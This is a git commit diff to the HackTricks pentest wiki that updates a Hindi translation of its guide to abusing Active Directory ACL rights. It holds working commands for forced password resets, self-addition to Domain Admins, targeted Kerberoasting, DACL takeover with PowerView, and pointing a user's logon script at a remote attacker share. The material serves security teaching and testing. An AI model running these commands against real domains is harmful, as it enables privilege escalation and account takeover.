mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/dl
This commit is contained in:
parent
75b831f4e7
commit
8bdf64dc0a
@ -238,7 +238,6 @@
|
|||||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||||
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
|
||||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||||
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
||||||
|
@ -1,8 +1,8 @@
|
|||||||
# Abusing Active Directory ACLs/ACEs
|
# Active Directory ACLs/ACEs का दुरुपयोग
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
**यह पृष्ठ मुख्य रूप से निम्लिखित तकनीकों का सारांश है** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **और** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**। अधिक जानकारी के लिए, मूल लेख देखें।**
|
**यह पृष्ठ मुख्य रूप से तकनीकों का सारांश है जो** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **और** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. अधिक विवरण के लिए, मूल लेख देखें।**
|
||||||
|
|
||||||
## BadSuccessor
|
## BadSuccessor
|
||||||
|
|
||||||
@ -11,32 +11,47 @@
|
|||||||
BadSuccessor.md
|
BadSuccessor.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## **GenericAll Rights on User**
|
## **GenericAll अधिकार उपयोगकर्ता पर**
|
||||||
|
|
||||||
यह अधिकार एक हमलावर को लक्षित उपयोगकर्ता खाते पर पूर्ण नियंत्रण प्रदान करता है। एक बार `GenericAll` अधिकारों की `Get-ObjectAcl` कमांड से पुष्टि हो जाने पर, एक हमलावर निम्न कर सकता है:
|
यह अधिकार हमलावर को लक्षित उपयोगकर्ता खाते पर पूर्ण नियंत्रण प्रदान करता है। एक बार `GenericAll` अधिकार `Get-ObjectAcl` कमांड के साथ पुष्ट हो जाने पर, हमलावर कर सकता है:
|
||||||
|
|
||||||
- **लक्षित का पासवर्ड बदलना**: `net user <username> <password> /domain` का उपयोग करके, हमलावर उपयोगकर्ता का पासवर्ड रीसेट कर सकता है।
|
- **लक्षित का पासवर्ड बदलें**: `net user <username> <password> /domain` का उपयोग करके, हमलावर उपयोगकर्ता का पासवर्ड रीसेट कर सकता है।
|
||||||
- **Targeted Kerberoasting**: उपयोगकर्ता के खाते को kerberoastable बनाने के लिए उस खाते पर SPN असाइन करें, फिर Rubeus और targetedKerberoast.py का उपयोग करके ticket-granting ticket (TGT) hashes निकालें और उन्हें क्रैक करने का प्रयास करें।
|
- Linux से, आप SAMR के ऊपर Samba `net rpc` के साथ भी वही कर सकते हैं:
|
||||||
|
```bash
|
||||||
|
# Reset target user's password over SAMR from Linux
|
||||||
|
net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||||
|
```
|
||||||
|
- **यदि खाता अक्षम है, तो UAC फ़्लैग साफ़ करें**: `GenericAll` को `userAccountControl` को संपादित करने की अनुमति देता है। Linux से, BloodyAD `ACCOUNTDISABLE` फ़्लैग हटा सकता है:
|
||||||
|
```bash
|
||||||
|
bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
|
||||||
|
```
|
||||||
|
- **Targeted Kerberoasting**: SPN को उपयोगकर्ता के खाते में असाइन करें ताकि वह kerberoastable बने, फिर Rubeus और targetedKerberoast.py का उपयोग करके ticket-granting ticket (TGT) hashes को निकालें और क्रैक करने का प्रयास करें।
|
||||||
```bash
|
```bash
|
||||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||||
```
|
```
|
||||||
- **Targeted ASREPRoasting**: उपयोगकर्ता के लिए pre-authentication अक्षम करें, जिससे उनका खाता ASREPRoasting के लिए असुरक्षित हो जाए।
|
- **Targeted ASREPRoasting**: उपयोगकर्ता के लिए पूर्व-प्रमाणीकरण अक्षम करें, जिससे उनका खाता ASREPRoasting के प्रति संवेदनशील हो जाएगा।
|
||||||
```bash
|
```bash
|
||||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||||
```
|
```
|
||||||
## **GenericAll Rights on Group**
|
- **Shadow Credentials / Key Credential Link**: यदि किसी user पर `GenericAll` हो तो आप एक certificate-based credential जोड़कर उनके पासवर्ड को बदले बिना उनके रूप में authenticate कर सकते हैं। देखें:
|
||||||
|
|
||||||
यह अधिकार किसी attacker को समूह की सदस्यताओं में हेरफेर करने की अनुमति देता है अगर उनके पास किसी समूह जैसे `Domain Admins` पर `GenericAll` rights हों। समूह का distinguished name `Get-NetGroup` से पहचानने के बाद, attacker निम्न कर सकते हैं:
|
{{#ref}}
|
||||||
|
shadow-credentials.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
- **Add Themselves to the Domain Admins Group**: यह सीधे commands के माध्यम से या Active Directory या PowerSploit जैसे modules का उपयोग करके किया जा सकता है।
|
## **Group पर GenericAll अधिकार**
|
||||||
|
|
||||||
|
यह अधिकार हमलावर को समूह की सदस्यताएँ हेरफेर करने की अनुमति देता है यदि उनके पास किसी समूह जैसे `Domain Admins` पर `GenericAll` अधिकार हों। समूह का distinguished name `Get-NetGroup` से पहचानने के बाद, हमलावर कर सकता है:
|
||||||
|
|
||||||
|
- **Domain Admins Group में खुद को जोड़ें**: यह प्रत्यक्ष commands या Active Directory या PowerSploit जैसे modules का उपयोग करके किया जा सकता है।
|
||||||
```bash
|
```bash
|
||||||
net group "domain admins" spotless /add /domain
|
net group "domain admins" spotless /add /domain
|
||||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||||
```
|
```
|
||||||
- Linux से आप BloodyAD का उपयोग करके अपने आप को किसी भी समूह में जोड़ सकते हैं जब आपके पास उन पर GenericAll/Write सदस्यता हो। अगर लक्ष्य समूह “Remote Management Users” में nested है, तो आप उस समूह को मानने वाले hosts पर तुरंत WinRM access प्राप्त कर लेंगे:
|
- Linux से आप BloodyAD का भी उपयोग करके खुद को किसी भी समूह में जोड़ सकते हैं जब आपके पास उन पर GenericAll/Write सदस्यता हो। यदि लक्ष्य समूह “Remote Management Users” के भीतर निहित है, तो आप उन होस्ट्स पर तुरंत WinRM पहुंच प्राप्त कर लेंगे जो उस समूह का सम्मान करते हैं:
|
||||||
```bash
|
```bash
|
||||||
# Linux tooling example (BloodyAD) to add yourself to a target group
|
# Linux tooling example (BloodyAD) to add yourself to a target group
|
||||||
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
||||||
@ -46,35 +61,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
|
|||||||
```
|
```
|
||||||
## **GenericAll / GenericWrite / Write on Computer/User**
|
## **GenericAll / GenericWrite / Write on Computer/User**
|
||||||
|
|
||||||
किसी computer object या user account पर ये privileges होने से संभव होता है:
|
एक computer object या user account पर ये privileges होने पर निम्न संभव होते हैं:
|
||||||
|
|
||||||
- **Kerberos Resource-based Constrained Delegation**: एक computer object को takeover करने में सक्षम बनाता है।
|
- **Kerberos Resource-based Constrained Delegation**: यह एक computer object पर कब्ज़ा करने की अनुमति देता है।
|
||||||
- **Shadow Credentials**: इन privileges का उपयोग करके shadow credentials बनाकर किसी computer या user account का impersonate करने के लिए इस technique का इस्तेमाल करें।
|
- **Shadow Credentials**: इन privileges का उपयोग करके shadow credentials बनाकर किसी computer या user account का impersonate करने के लिए इस technique का उपयोग करें।
|
||||||
|
|
||||||
## **WriteProperty on Group**
|
## **WriteProperty on Group**
|
||||||
|
|
||||||
यदि किसी user के पास किसी विशेष group (उदा., `Domain Admins`) के लिए सभी objects पर `WriteProperty` rights हैं, तो वे निम्न कर सकते हैं:
|
यदि किसी user के पास किसी विशेष group (उदा., `Domain Admins`) के सभी objects पर `WriteProperty` rights हैं, तो वे:
|
||||||
|
|
||||||
- **Add Themselves to the Domain Admins Group**: `net user` और `Add-NetGroupUser` commands को combine करके हासिल किया जा सकता है; यह method डोमेन के भीतर privilege escalation की अनुमति देता है।
|
- **Add Themselves to the Domain Admins Group**: यह `net user` और `Add-NetGroupUser` कमांड्स को मिलाकर किया जा सकता है; यह तरीका डोमेन के भीतर privilege escalation की अनुमति देता है।
|
||||||
```bash
|
```bash
|
||||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||||
```
|
```
|
||||||
## **Self (Self-Membership) on Group**
|
## **Self (Self-Membership) on Group**
|
||||||
|
|
||||||
यह विशेषाधिकार हमलावरों को विशिष्ट समूहों में स्वयं को जोड़ने की अनुमति देता है, जैसे कि `Domain Admins`, उन कमांड्स के माध्यम से जो समूह सदस्यता को सीधे बदलते हैं। निम्नलिखित कमांड अनुक्रम का उपयोग करके स्वयं को जोड़ना संभव होता है:
|
यह विशेषाधिकार attackers को सीधे समूह सदस्यता को बदलने वाले कमांड्स के माध्यम से `Domain Admins` जैसे विशिष्ट समूहों में खुद को जोड़ने में सक्षम बनाता है। निम्न कमांड अनुक्रम का उपयोग करके स्वयं को जोड़ना संभव है:
|
||||||
```bash
|
```bash
|
||||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||||
```
|
```
|
||||||
## **WriteProperty (Self-Membership)**
|
## **WriteProperty (Self-Membership)**
|
||||||
|
|
||||||
एक समान अधिकार, यह attackers को उन groups पर `WriteProperty` अधिकार होने पर group properties को बदलकर स्वयं को सीधे groups में जोड़ने की अनुमति देता है। इस अधिकार की पुष्टि और निष्पादन निम्न के साथ किया जाता है:
|
एक समान विशेषाधिकार — यदि किसी के पास किसी समूह पर `WriteProperty` अधिकार है, तो यह हमलावरों को समूह की properties संशोधित करके स्वयं को सीधे समूह में जोड़ने की अनुमति देता है। इस विशेषाधिकार की पुष्टि और निष्पादन निम्नलिखित के साथ किया जाता है:
|
||||||
```bash
|
```bash
|
||||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||||
net group "domain admins" spotless /add /domain
|
net group "domain admins" spotless /add /domain
|
||||||
```
|
```
|
||||||
## **ForceChangePassword**
|
## **ForceChangePassword**
|
||||||
|
|
||||||
किसी user पर `User-Force-Change-Password` के लिए `ExtendedRight` होना वर्तमान password जाने बिना password reset करने की अनुमति देता है। इस अधिकार का सत्यापन और इसका शोषण PowerShell या वैकल्पिक command-line tools के माध्यम से किया जा सकता है, जो किसी user's password को reset करने के कई तरीके प्रदान करते हैं — जिनमें इंटरैक्टिव सेशंस और नॉन-इंटरैक्टिव वातावरण के लिए one-liners शामिल हैं। कमांड्स सरल PowerShell invocations से लेकर Linux पर `rpcclient` के उपयोग तक होते हैं, जो attack vectors की बहुमुखीता को दर्शाते हैं।
|
किसी उपयोगकर्ता पर User-Force-Change-Password के लिए ExtendedRight होने पर वर्तमान पासवर्ड जाने बिना पासवर्ड रीसेट करना संभव होता है। इस अधिकार की पुष्टि और इसका शोषण PowerShell या वैकल्पिक कमांड-लाइन टूल्स के माध्यम से किया जा सकता है, जो उपयोगकर्ता के पासवर्ड को रीसेट करने के कई तरीके प्रदान करते हैं — interactive sessions और non-interactive environments के लिए one-liners सहित। कमांड सरल PowerShell invocations से लेकर Linux पर rpcclient के उपयोग तक भिन्न होते हैं, जो attack vectors की बहुमुखी प्रतिभा दर्शाते हैं।
|
||||||
```bash
|
```bash
|
||||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||||
Set-DomainUserPassword -Identity delegate -Verbose
|
Set-DomainUserPassword -Identity delegate -Verbose
|
||||||
@ -85,9 +100,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
|
|||||||
rpcclient -U KnownUsername 10.10.10.192
|
rpcclient -U KnownUsername 10.10.10.192
|
||||||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||||
```
|
```
|
||||||
## **Group पर WriteOwner**
|
## **WriteOwner on Group**
|
||||||
|
|
||||||
अगर attacker पाते हैं कि उनके पास किसी group पर `WriteOwner` अधिकार हैं, तो वे उस group का स्वामित्व अपने नाम कर सकते हैं। यह विशेष रूप से तब प्रभावी होता है जब संबंधित group `Domain Admins` हो, क्योंकि स्वामित्व बदलने से group के attributes और membership पर व्यापक नियंत्रण मिल जाता है। प्रक्रिया में सही ऑब्जेक्ट की पहचान `Get-ObjectAcl` के माध्यम से करना और फिर `Set-DomainObjectOwner` का उपयोग करके owner को बदलना शामिल है, चाहे SID द्वारा हो या नाम द्वारा।
|
यदि किसी हमलावर को पता चलता है कि उसके पास किसी समूह पर `WriteOwner` अधिकार हैं, तो वह समूह का मालिकाना हक अपने नाम कर सकता है। यह विशेष रूप से प्रभावी होता है जब संबंधित समूह `Domain Admins` हो, क्योंकि ownership बदलने से समूह के गुण और सदस्यता पर व्यापक नियंत्रण मिल जाता है। प्रक्रिया में सही ऑब्जेक्ट की पहचान `Get-ObjectAcl` के माध्यम से करना और फिर `Set-DomainObjectOwner` का उपयोग करके owner को SID या नाम द्वारा बदलना शामिल है।
|
||||||
```bash
|
```bash
|
||||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||||
@ -95,13 +110,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
|||||||
```
|
```
|
||||||
## **GenericWrite on User**
|
## **GenericWrite on User**
|
||||||
|
|
||||||
यह अनुमति attacker को user properties संशोधित करने की अनुमति देती है। विशेष रूप से, `GenericWrite` access के साथ, attacker एक user के logon script path को बदल सकता है ताकि user के logon पर एक malicious script execute हो सके। यह `Set-ADObject` command का उपयोग कर लक्ष्य user की `scriptpath` property को अपडेट करके हासिल किया जाता है, ताकि वह attacker की script की ओर इशारा करे।
|
यह अनुमति हमलावर को उपयोगकर्ता की गुणधर्मों को संशोधित करने की अनुमति देती है। विशेष रूप से, `GenericWrite` एक्सेस के साथ, हमलावर किसी उपयोगकर्ता के logon script path को बदल सकता है ताकि उपयोगकर्ता के लॉगऑन पर एक हानिकारक स्क्रिप्ट निष्पादित हो सके। यह `Set-ADObject` कमांड का उपयोग करके किया जाता है, जो लक्षित उपयोगकर्ता की `scriptpath` प्रॉपर्टी को अपडेट करके उसे हमलावर की स्क्रिप्ट की ओर इंगित करता है।
|
||||||
```bash
|
```bash
|
||||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||||
```
|
```
|
||||||
## **GenericWrite on Group**
|
## **GenericWrite on Group**
|
||||||
|
|
||||||
इस विशेषाधिकार के साथ, हमलावर समूह सदस्यता को नियंत्रित कर सकते हैं, जैसे कि अपना या अन्य उपयोगकर्ताओं का किसी विशिष्ट समूह में जोड़ना। यह प्रक्रिया एक क्रेडेंशियल ऑब्जेक्ट बनाने, उसे उपयोग करके उपयोगकर्ताओं को समूह में जोड़ने या हटाने, और PowerShell कमांड्स से सदस्यता बदलावों की पुष्टि करने पर आधारित होती है।
|
इस विशेषाधिकार के साथ, हमलावर समूह की सदस्यता में छेड़छाड़ कर सकते हैं, जैसे कि स्वयं या अन्य उपयोगकर्ताओं को विशिष्ट समूहों में जोड़ना। इस प्रक्रिया में एक क्रेडेंशियल ऑब्जेक्ट बनाना, इसका उपयोग करके उपयोगकर्ताओं को समूह में जोड़ना या हटाना, और PowerShell कमांड्स के साथ सदस्यता परिवर्तनों की पुष्टि शामिल है।
|
||||||
```bash
|
```bash
|
||||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||||
@ -109,9 +124,16 @@ Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'userna
|
|||||||
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
|
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
|
||||||
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
|
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
|
||||||
```
|
```
|
||||||
|
- Linux से, Samba `net` समूह पर `GenericWrite` अधिकार होने पर सदस्यों को जोड़/हटा सकता है (जब PowerShell/RSAT उपलब्ध नहीं हों तब उपयोगी):
|
||||||
|
```bash
|
||||||
|
# Add yourself to the target group via SAMR
|
||||||
|
net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||||
|
# Verify current members
|
||||||
|
net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||||
|
```
|
||||||
## **WriteDACL + WriteOwner**
|
## **WriteDACL + WriteOwner**
|
||||||
|
|
||||||
किसी AD ऑब्जेक्ट का मालिक होना और उस पर `WriteDACL` अधिकार होना एक हमलावर को उस ऑब्जेक्ट पर अपने लिए `GenericAll` अधिकार देने में सक्षम बनाता है। यह ADSI manipulation के माध्यम से किया जाता है, जो ऑब्जेक्ट पर पूर्ण नियंत्रण और उसके group memberships को संशोधित करने की अनुमति देता है। इसके बावजूद, Active Directory module के `Set-Acl` / `Get-Acl` cmdlets का उपयोग करके इन विशेषाधिकारों का शोषण करने का प्रयास करते समय कुछ सीमाएँ होती हैं।
|
AD ऑब्जेक्ट का मालिक होना और उस पर `WriteDACL` privileges होना एक attacker को अपने लिए उस ऑब्जेक्ट पर `GenericAll` privileges देने में सक्षम बनाता है। यह ADSI manipulation के माध्यम से किया जाता है, जो ऑब्जेक्ट पर पूर्ण नियंत्रण और इसके group memberships को बदलने की क्षमता देता है। इसके बावजूद, Active Directory module के `Set-Acl` / `Get-Acl` cmdlets का उपयोग करके इन privileges को exploit करने के प्रयास में सीमाएँ मौजूद हैं।
|
||||||
```bash
|
```bash
|
||||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||||
@ -119,66 +141,139 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
|
|||||||
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
||||||
$ADSI.psbase.commitchanges()
|
$ADSI.psbase.commitchanges()
|
||||||
```
|
```
|
||||||
|
### WriteDACL/WriteOwner त्वरित कब्ज़ा (PowerView)
|
||||||
|
|
||||||
|
जब किसी user या service account पर आपके पास `WriteOwner` और `WriteDacl` हों, तो आप PowerView का उपयोग करके बिना पुराने पासवर्ड को जाने पूरा नियंत्रण लेकर उसका पासवर्ड रीसेट कर सकते हैं:
|
||||||
|
```powershell
|
||||||
|
# Load PowerView
|
||||||
|
. .\PowerView.ps1
|
||||||
|
|
||||||
|
# Grant yourself full control over the target object (adds GenericAll in the DACL)
|
||||||
|
Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose
|
||||||
|
|
||||||
|
# Set a new password for the target principal
|
||||||
|
$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
|
||||||
|
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose
|
||||||
|
```
|
||||||
|
नोट:
|
||||||
|
- यदि आपके पास केवल `WriteOwner` है, तो आपको पहले owner को स्वयं के लिए बदलना पड़ सकता है:
|
||||||
|
```powershell
|
||||||
|
Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
|
||||||
|
```
|
||||||
|
- पासवर्ड रीसेट के बाद किसी भी प्रोटोकॉल (SMB/LDAP/RDP/WinRM) से एक्सेस को सत्यापित करें।
|
||||||
|
|
||||||
## **डोमेन पर प्रतिकृति (DCSync)**
|
## **डोमेन पर प्रतिकृति (DCSync)**
|
||||||
|
|
||||||
DCSync attack डोमेन पर विशिष्ट प्रतिकरण अनुमतियों (replication permissions) का लाभ उठाकर एक Domain Controller की नकल करता है और डेटा को सिंक्रोनाइज़ करता है, जिसमें उपयोगकर्ता क्रेडेंशियल्स भी शामिल हैं। यह शक्तिशाली तकनीक `DS-Replication-Get-Changes` जैसी अनुमतियों की आवश्यकता करती है, जिससे हमलावर AD environment से संवेदनशील जानकारी निकाल सकते हैं बिना सीधे Domain Controller तक पहुंच के। [**Learn more about the DCSync attack here.**](../dcsync.md)
|
DCSync हमला डोमेन पर विशिष्ट replication permissions का लाभ उठाकर एक Domain Controller की नकल करता है और डेटा, जिसमें उपयोगकर्ता प्रमाण-पत्र भी शामिल हैं, को सिंक्रोनाइज़ करता है। यह शक्तिशाली तकनीक `DS-Replication-Get-Changes` जैसे permissions की आवश्यकता होती है, जिससे हमलावरों को AD environment से Domain Controller तक सीधे पहुँच के बिना संवेदनशील जानकारी निकालने की अनुमति मिलती है। [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||||
|
|
||||||
## GPO प्रतिनिधिकरण <a href="#gpo-delegation" id="gpo-delegation"></a>
|
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||||
|
|
||||||
### GPO Delegation
|
### GPO Delegation
|
||||||
|
|
||||||
Group Policy Objects (GPOs) को प्रबंधित करने के लिए सौंपा गया एक्सेस गंभीर सुरक्षा जोखिम पैदा कर सकता है। उदाहरण के लिए, यदि `offense\spotless` जैसे उपयोगकर्ता को GPO प्रबंधन अधिकार दिए गए हैं, तो उनके पास **WriteProperty**, **WriteDacl**, और **WriteOwner** जैसे विशेषाधिकार हो सकते हैं। इन अनुमतियों का दुरुपयोग malicious उद्देश्यों के लिए किया जा सकता है, जैसा कि PowerView का उपयोग करके पहचाना जा सकता है: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
Group Policy Objects (GPOs) को प्रबंधित करने के लिए सौंपा गया एक्सेस महत्वपूर्ण सुरक्षा जोखिम पैदा कर सकता है। उदाहरण के लिए, यदि किसी user जैसे `offense\spotless` को GPO प्रबंधन अधिकार सौंपे गए हैं, तो उसके पास **WriteProperty**, **WriteDacl**, और **WriteOwner** जैसे privileges हो सकते हैं। इन permissions का दुरुपयोग malicious उद्देश्यों के लिए किया जा सकता है, जिन्हें PowerView का उपयोग करके पहचाना जा सकता है: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||||
|
|
||||||
### GPO अनुमतियों का अन्वेषण
|
### GPO अनुमतियों का पता लगाना
|
||||||
|
|
||||||
गलत कॉन्फ़िगर किए गए GPOs की पहचान करने के लिए PowerSploit के cmdlets को एक साथ chain किया जा सकता है। इससे उन GPOs की खोज संभव होती है जिन्हें किसी विशिष्ट उपयोगकर्ता द्वारा प्रबंधित करने की अनुमति है: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
गलत कॉन्फ़िगर किए गए GPOs की पहचान करने के लिए, PowerSploit के cmdlets को श्रृंखला में जोड़ा जा सकता है। यह उन GPOs की खोज करने की अनुमति देता है जिन्हें एक विशिष्ट user प्रबंधित करने के लिए permissions रखता है: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||||
|
|
||||||
**किसी दिए गए पॉलिसी पर लागू कंप्यूटर**: यह पता लगाया जा सकता है कि कोई विशिष्ट GPO किन कंप्यूटरों पर लागू होता है, जिससे संभावित प्रभाव का दायरा समझने में मदद मिलती है। `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
**Computers with a Given Policy Applied**: यह पता लगाना संभव है कि कौन से computers पर कोई विशेष GPO लागू है, जिससे संभावित प्रभाव के दायरे को समझने में मदद मिलती है। `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||||
|
|
||||||
**किसी दिए गए कंप्यूटर पर लागू पॉलिसियाँ**: किसी विशेष कंप्यूटर पर कौन सी पॉलिसियाँ लागू हैं यह देखने के लिए `Get-DomainGPO` जैसे कमांड उपयोग किए जा सकते हैं।
|
**Policies Applied to a Given Computer**: किसी विशिष्ट कंप्यूटर पर कौन सी नीतियाँ लागू हैं यह देखने के लिए `Get-DomainGPO` जैसे commands का उपयोग किया जा सकता है।
|
||||||
|
|
||||||
**किसी पॉलिसी के तहत प्रभावित OUs**: किसी दिए गए पॉलिसी द्वारा प्रभावित organizational units (OUs) की पहचान `Get-DomainOU` का उपयोग करके की जा सकती है।
|
**OUs with a Given Policy Applied**: किसी नीति से प्रभावित organizational units (OUs) की पहचान `Get-DomainOU` का उपयोग करके की जा सकती है।
|
||||||
|
|
||||||
आप GPOs को enumerate करने और उनमें issues ढूँढने के लिए [**GPOHound**](https://github.com/cogiceo/GPOHound) टूल का भी उपयोग कर सकते हैं।
|
